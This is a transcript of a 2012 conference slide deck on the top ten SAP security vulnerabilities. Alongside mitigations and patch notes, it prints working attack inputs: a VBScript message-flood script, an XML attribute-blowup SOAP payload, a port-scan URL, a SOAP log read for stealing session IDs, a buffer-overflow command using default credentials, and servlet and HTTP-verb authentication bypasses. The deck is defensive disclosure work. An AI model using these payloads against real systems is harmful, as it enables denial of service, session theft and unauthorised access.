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SAP (In)Security: New and Best
 

SAP (In)Security: New and Best

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    SAP (In)Security: New and Best SAP (In)Security: New and Best Presentation Transcript

    • Invest in securityto secure investmentsSAP (In)Security: New and BestAlexander PolyakovCTO at ERPScan/Digital SecurityMay 31, 2012
    • MeBusiness application security expert
    • Instead of IntroVulnerabilities are everywhere
    • What is SAP ?Shut upAndPay
    • Really• The most popular business application• More than 120000 customers• 74% of Forbes 500
    • Agenda• Intro• SAP security history• SAP on the Internet• Most popular SAP issues (OLD)• Top 10 latest interesting attacks (NEW)• DEMOs• Conclusion
    • 3 areas of SAP Security2002 Business logic security Prevents attacks or mistakes made by insiders Solution: GRC2008 ABAP Code security Prevents attacks or mistakes made by developers Solution: Code audit2010 Application platform security Prevents unauthorized access both within the corporate network and from remote attackers Solution?
    • Talks about SAP security3530 Most popular: • BlackHat25 • HITB • Troopers20 • RSA • Source15 • DeepSec • etc.10 5 0 2006 2007 2008 2009 2010 2011 2012
    • SAP Security notes900800700600500 By April 26, 2012, a total of 2026 notes400300200100 0 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012
    • SAP vulnerabilities by type 1 - Directory Traversal2 - XSS/Unauthorised modification of stored content 3 - Missing Auth check 4 - Information Disclosure 5 - Unauthorized usage of application functionality 6 - Hard-coded credentials 7 - Code injection vulnerability 8 - Verb tampering Stats from : 9 - Remote Code Execution • 1Q 2012 • 1Q 2010 10 - Denial of service • 4Q 2009 11 - BOF 12 -SQL Inj 0 50 100 150 200 250 300 350
    • Top problems by OWASP-EAS (Implementation issues)EASAI-1 Lack of patch managementEASAI-2 Default Passwords for application accessEASAI-3 SOD conflictsEASAI-4 Unnecessary Enabled Application featuresEASAI-5 Open Remote management interfacesEASAI-6 lack of password lockout/complexity checksEASAI-7 Insecure optionsEASAI-8 Unencrypted communicationsEASAI-9 Insecure trust relationsEASAI-10 Guest access
    • Top problems by BIZEC● BIZEC TEC-01: Vulnerable Software in Use● BIZEC TEC-02: Standard Users with Default Passwords● BIZEC TEC-03: Unsecured SAP Gateway● BIZEC TEC-04: Unsecured SAP/Oracle authentication● BIZEC TEC-05: Insecure RFC interfaces● BIZEC TEC-06: Insufficient Security Audit Logging● BIZEC TEC-07: Unsecured SAP Message Server● BIZEC TEC-08: Dangerous SAP Web Applications● BIZEC TEC-09: Unprotected Access to Administration Services● BIZEC TEC-10: Insecure Network Environment● BIZEC TEC-11: Unencrypted Communications
    • Business RisksEspionage• Stealing financial information• Stealing corporate secrets• Stealing suppliers and customers list• Stealing HR dataSabotage• Denial of service• Modification of financial reports• Access to technology network (SCADA) by trust relationsFraud• False transactions• Modification of master data• e.t.c.
    • SAP on the Internet MYTH: SAP systems attacks available only for insiders• We have collected data about SAP systems in the WEB• Have various stats by countries, applications, versions• Information from Google, Shodan, Nmap scan
    • SAP on the Internet
    • SAP on the InternetAbout 5000 systems including Dispatcher, Message server,SapHostcontrol, Web- services
    • Top 10 vulnerabilities 2011-20121. Authentication Bypass via Verb tampering2. Authentication Bypass via the Invoker servlet3. Buffer overflow in ABAP Kernel4. Code execution via TH_GREP N5. MMC read SESSIONID N6. Remote portscan Nw7. Encryption in SAPGUI N N w8. BAPI XSS/SMBRELAY N N N Nw9. XML Blowup DOS w N10. GUI Scripting DOS w
    • 10 – GUI-Scripting DOS: Description New• SAP users can run scripts which automate their user functions• A script has the same rights in SAP as the user who launched it• Security message which is shown to user can be turned off in the registry• Almost any user can use SAP Messages (SM02 transaction)• It is possible to run DOS attack on any user using a simple script Author: Dmitry Chastukhin (ERPScan)
    • 10 – GUI-scripting: DetailsIf Not IsObject(application) Then Set SapGuiAuto = GetObject("SAPGUI") Set application = SapGuiAuto.GetScriptingEngineEnd IfIf Not IsObject(connection) Then Set connection = application.Children(0)End IfIf Not IsObject(session) Then Set session = connection.Children(0)End IfIf IsObject(WScript) Then WScript.ConnectObject session, "on" WScript.ConnectObject application, "on"End Ifdoa=a+1session.findById("wnd[0]").maximizesession.findById("wnd[0]/tbar[0]/okcd").text = "/nsm02"session.findById("wnd[0]/tbar[0]/btn[0]").presssession.findById("wnd[0]/tbar[1]/btn[34]").presssession.findById("wnd[1]/usr/txtEMLINE1").text = "hello"session.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").setFocussession.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").caretPosition = 0session.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").setFocussession.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").caretPosition = 0session.findById("wnd[1]").sendVKey 4session.findById("wnd[2]/usr/lbl[1,3]").setFocussession.findById("wnd[2]/usr/lbl[1,3]").caretPosition = 15session.findById("wnd[2]").sendVKey 2session.findById("wnd[1]/usr/ctxtTEMSG-CLIENT").text = "800"session.findById("wnd[1]/usr/ctxtTEMSG-LANGU").text = "en"session.findById("wnd[1]/usr/ctxtTEMSG-LANGU").setFocussession.findById("wnd[1]/usr/ctxtTEMSG-LANGU").caretPosition = 2session.findById("wnd[1]/tbar[0]/btn[0]").pressLoop Until a>=1000
    • 10 – GUI-scripting: Other attacks Script can be uploaded using: – SAPGUI ActiveX vulnerability – Teensy USB flash – Any other method of client exploitationOther attacks like changing banking accounts in LFBK also possible
    • 10 – GUI-scripting: Business risksSabotage – HighEspionage – NoFraud – No Ease of exploitation – Medium
    • 10 – GUI-scripting: Prevention• SAP GUI Scripting Security Guide• sapgui/user_scripting = FALSE• Block registry modification on workstations
    • 9 – XML Blowup DOS: Description New• WEBRFC interface can be used to run RFC functions• By default any user can have access• Can execute at least RFC_PING• SAP NetWeaver is vulnerable to malformed XML packets• It is possible to run DOS attack on server using simple script• It is possible to run over the Internet! Author: Alexey Tyurin (ERPScan)
    • 9 – XML Blowup DOS: Details<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Body><m:RFC_PING xmlns:m="urn:sap-com:document:sap:rfc:functions" a1="" a2="" ... a10000="" ></m:RFC_PING></SOAP-ENV:Body></SOAP-ENV:Envelope>
    • 9 – XML Blowup DOS: Business risksSabotage – CriticalEspionage – NoFraud – No Ease of exploitation – Medium
    • 9 – XML Blowup DOS: Prevention• Disable WEBRFC• Prevent unauthorized access to WEBRFC using S_ICF• Install SAP notes 1543318 and 1469549
    • 8 – BAPI script injection/hash stealing : Description• SAP BAPI transaction fails to properly sanitize input• Possible to inject JavaScript code or link to a fake SMB server• SAP GUI clients use Windows so their credentials will be transferred to attackers host. Author: Dmitry Chastukhin (ERPScan)
    • 8 – BAPI script injection/hash stealing: Demo New
    • 8 – BAPI script injection/hash stealing: Business risksEspionage – HighSabotage – HighFraud – High Ease of exploitation – Low
    • 7 – SAP GUI bad encryption: Description New• SAP FrontEnd can save encrypted passwords in shortcuts• Shortcuts stored in .sap file• This password uses byte-XOR algorithm with “secret” key• Key has the same value for every installation of SAP GUI• Any password can be decrypted in 1 second Author: Alexey Sintsov (ERPScan)
    • 7 – SAP GUI bad encryption: Demo
    • 7 – SAP GUI bad encryption: Business risksEspionage – HighSabotage – MediumFraud – High Ease of exploitation – Medium
    • 7 – SAP GUI bad encryption: Prevention• Disable password storage in GUI
    • 6 – Remote port scan via JSP: Description• It is possible to scan internal network from the Internet• Authentication is not required• SAP NetWeaver J2EE engine is vulnerable/ipcpricing/ui/BufferOverview.jsp?server=172.16.0.13& port=31337& password=& dispatcher=& targetClient=& view= Author: Alexander Polyakov (ERPScan)
    • 6 – Remote port scan via JSP: DemoHost is not alive HTTP portPort closed SAP port
    • 6 – Remote port scan via JSP: Business risksSabotage – LowEspionage – MediumFraud – No Ease of exploitation – High
    • 6 – Remote port scan via JSP: Prevention• Install SAP notes: 1548548, 1545883, 1503856, 948851, 1545883• Disable unnecessary applications
    • 5 – MMC JSESSIONID stealing: Description New• Remote management of SAP Platform• By default, many commands go without auth• Exploits implemented in Metasploit (by ChrisJohnRiley)• Most of the bugs are information disclosure• It is possible to find information about JSESSIONID• Only if trace is ON 1) Original bug by ChrisJohnRiley 2) JSESSIONID by Alexey Sintsov and Alexey Tyurin (ERPScan) Can be authenticated as an existing user remotely
    • 5 – MMC SESSIONID stealing: Details<?xml version="1.0" encoding="UTF-8" ?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header> <sapsess:Session xmlns:sapsess = "http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:ReadLogFile xmlns:ns1="urn:SAPControl"> <filename>j2ee/cluster/server0/log/system/userinterface.log</filename> <filter></filter> <language></language> <maxentries>100</maxentries> <statecookie>EOF</statecookie> </ns1:ReadLogFile> </SOAP-ENV:Body></SOAP-ENV:Envelope>
    • 5 – MMC JSESSIONID stealing: Business risksEspionage – CriticalFraud – HighSabotage – Medium Ease of exploitation – Medium
    • 5 – MMC JSESSIONID stealing: Prevention• The JSESSIONID by default will not be logged in log file• Don’t use TRACE_LEVEL = 3 on production systems or delete traces after use• Other infohttp://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm
    • 4 – Remote command execution in TH_GREP: Description• RCE vulnerability in RFC module TH_GREP• Found by Joris van de Vis• SAP was not properly patched (1433101)• We have discovered that the patch can be bypassed in Windows Original bug by Joris van de Vis (erp-sec) Bypass by Alexey Tyurin (ERPScan)
    • 4 – RCE in TH_GREP: Detailselseif opsys = Windows NT.concatenate /c:" string " filename into grep_params in character mode.else. /*if linux*/ /* 185 */ replace all occurrences of in local_string with "". /* 186 */ concatenate local_string filename into grep_params /* 187*/ in character mode. /* 188*/ endif./* 188*/
    • 4 – RCE in TH_GREP: Demo #1
    • 4 - RCE in TH_GREP: More details4 ways to execute vulnerable program• Using transaction "Se37“• Using transaction “SM51“ (thanks to Felix Granados)• Using remote RFC call "TH_GREP"• Using SOAP RFC call "TH_GREP" via web
    • 4 – RCE in TH_GREP: Demo #2
    • 4 – RCE in TH_GREP: Business risksEspionage – HighSabotage – MediumFraud – High Ease of exploitation – medium
    • 4 – RFC in TH_GREP: Prevention• Install SAP notes 1580017, 1433101• Prevent access to critical transactions and RFC functions• Check the ABAP code of your Z-transactions for similarvulnerabilities
    • 3 - ABAP Kernel BOF: Description• Presented by Andreas Wiegenstein at BlackHat EU 2011• Buffer overflow in SAP kernel function C_SAPGPARAM• When NAME field is more than 108 chars• Can be exploited by calling an FM which uses C_SAPGPARAM• Example of report – RSPO_R_SAPGPARAM Author: (VirtualForge)
    • 3 -ABAP Kernel BOF: Details> startrfc.exe -3 -h 172.16.0.63 -s 01 -c 000 –u SAP* -p 11111 -F RSPO_R_SAPGPARAM -E NAME=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA -t 4RFC Call/Exception: SYSTEM_FAILUREGroup Error group 104Key RFC_ERROR_SYSTEM_FAILUREMessage connection closed without message (CM_NO_DATA_RECEIVED)
    • 3 – ABAP Kernel BOF: Business risksEspionage – CriticalSabotage – CriticalFraud – Critical Ease of exploitation – Medium
    • 3 – ABAP Kernel BOF: Prevention• Install SAP notes:- 1493516 – Correcting buffer overflow in ABAP system call- 1487330 – Potential remote code execution in SAP Kernel• Prevent access to critical transactions and RFC functions• Check the ABAP code of your Z-transactions for critical calls
    • 2 – Invoker Servlet: Description• Rapidly calls servlets by their class name• Published by SAP in their security guides• Possible to call any servlet from the application• Even if it is not declared in WEB.XML Can be used for auth bypass
    • 2 - Invoker Servlet: Details<servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical.Action</servlet-class></servlet><servlet-mapping> <servlet-name>CriticalAction</</servlet-name> <url-pattern>/admin/critical</url-pattern></servlet-mapping<security-constraint><web-resource-collection><web-resource-name>Restrictedaccess</web-resource-name><url-pattern>/admin/*</url-pattern><http-method>GET</http-method></web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint></security-constraint> Author: Dmitry Chastukhin (ERPScan)What if we call /servlet/com.sap.admin.Critical.Action
    • 2 – Invoker servlet: Business risksEspionage – HighSabotage – HighFraud – High Ease of use – Very easy!
    • 2 - Invoker servlet: Prevention• Update to the latest patch 1467771, 1445998• “EnableInvokerServletGlobally” property of the servlet_jsp must be “false”If you can’t install patches for some reason, you can check all WEB.XML filesusing ERPScan web.xml scanner manually.
    • 1 – VERB Tampering
    • 1st Place – Verb Tampering<security-constraint><web-resource-collection><web-resource-name>Restrictedaccess</web-resource-name><url-pattern>/admin/*</url-pattern><http-method>GET</http-method></web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint></security-constraint> Author: Alexander Polyakov (ERPScan) What if we use HEAD instead of GET ?
    • 1st Place – Verb tampering: Details• CTC – Secret interface for managing J2EE engine• Can be accessed remotely• Can run user management actions: – Add users – Add to groups – Run OS commands – Start/Stop J2EE Remotely without authentication!
    • 1 – Verb tampering: Demo
    • 1 – Verb tampering: More detailsIf patched, can be bypassed by the Invoker servlet!
    • 1 – Verb tampering: Business risksEspionage – CriticalSabotage – CriticalFraud – Critical Ease of use – Very easy!
    • 1st Place – Verb tampering: PreventionPrevention:• Install SAP notes 1503579,1616259• Install other SAP notes about Verb Tampering (about 18)• Scan applications using ERPScan WEB.XML check tool or manually• Secure WEB.XML by deleting all <http-method>• Disable the applications that are not necessary
    • ConclusionIt is possible to be protected from almost all those kinds of issues and we are working hard with SAP to make it secure SAP Guides Regular Security assessments Monitoring technical security ABAP Code review Segregation of Duties It’s all in your hands
    • Future work Many of the researched things cannot be disclosed now because of our good relationship with SAP Security Response Team, whom I would like to thank for cooperation. However, if you want to see new demos and 0-days, follow us at @erpscan and attend the future presentations:• Just4Meeting in July (Portugal)• BlackHat USA in July (Las Vegas)
    • Greetz to our crew who helped: Dmitriy Evdokimov, Alexey Sintsov, Alexey Tyurin, PavelKuzmin, Evgeniy Neelov.
    • web: www.dsec.ru www.erpscan.come-mail: info@erpscan.comsales@erpscan.comTwitter: @erpscan @sh2kerr